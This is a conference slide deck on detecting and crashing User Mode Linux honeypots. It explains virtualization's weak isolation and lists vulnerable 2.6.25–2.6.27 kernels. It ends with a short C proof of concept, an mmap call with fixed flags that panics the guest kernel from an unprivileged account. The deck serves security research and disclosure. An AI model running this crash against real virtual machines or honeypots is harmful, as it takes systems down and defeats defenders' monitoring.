Detecting User Mode Linux Honeypots is fine ... but it's better to crash them.

Gerard Wagener + various HACK.LU visitors including

Frédéric Raynal
Alexandre Dulaunoy
Christophe Kyvrakidis

October 23, 2008

User Mode Linux

Definition (UML)

*U*ser *M*ode *L*inux is a linux kernel that is running in user space.

- Was developed as separated project hosted on sourceforge
  - user-mode-linux.sourceforge.net
- Was integrated in the kernel. Enable it during configuration / compilation
  - make ... *ARCH=um*

User Mode Linux

- Benefits
  - Learning kernel internals
  - Facilitating kernel development
  - Quick restore of a system $\rightarrow$ copy root_fs
- Application Fields
  - Used as honeypots in order to trap hackers
    - Create virtual machines
    - Create virtual networks
  - Malware Analysis $\rightarrow$ Quick restore

The myth of virtualization

Assumptions

- Virtualization provides isolation
- Virtualization is an additional security layer
- Virtualization provides a jail
  - Protect sensitive data

The reality

Virtual machines are

- based on software $\longrightarrow$ bugs
- executed on the same hardware

Detecting honeypots / virtual machines

- Query stats from processor $\longrightarrow$ specialized instructions
  - Detect commercial malware sandboxes
- Look at proc file system
- Look at kernel debug messages

Crashing UML from userspace as non root

Sh

```
anne@hgrum  /build/bin $ ./mtest
Eeek!  page_mapcount(page) went negative!  (-1)
page pfn = 175
page->flags = 400
page->count = 1
page->mapping = 00000000
vma->vm_ops = 0x8227ae8
vma->vm_ops->fault = special_mapping_fault+0x0/0x60
Kernel panic - not syncing:  BUG!
```

Vulnerable kernel versions

v2.6.27-rc9	v2.6.27	v2.6.27-rc1	v2.6.25-rc9
v2.6.27-rc8	v2.6.26-rc9	v2.6.26-rc2	v2.6.25-rc8
v2.6.27-rc7	v2.6.26-rc8	v2.6.26-rc1	v2.6.25-rc7
v2.6.27-rc6	v2.6.26-rc7	v2.6.26	v2.6.25-rc6
v2.6.27-rc5	v2.6.26-rc6	v2.6.25-rc5	v2.6.25-rc2
v2.6.27-rc4	v2.6.26-rc5	v2.6.25-rc4	v2.6.25
v2.6.27-rc3	v2.6.26-rc4	v2.6.25-rc3	v2.6.25-rc1
v2.6.27-rc2	v2.6.26-rc3		

Methodology to find the vulnerable versions

git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux-2.6.git
git checkout xxx
make defconfig ARCH=um
make
./linux
./wine

Old version 2.6.24-rc8 is not vulnerable :-)

One single shot lets the kernel die (guest kernel) ...

Proof of concept

```
#include <sys/mman.h>
void main(){
mmap((void*)
        0x10000,
        1048576,
        PROT_NONE,
        MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS |
        MAP_NORESERVE, -1, 0);
}
```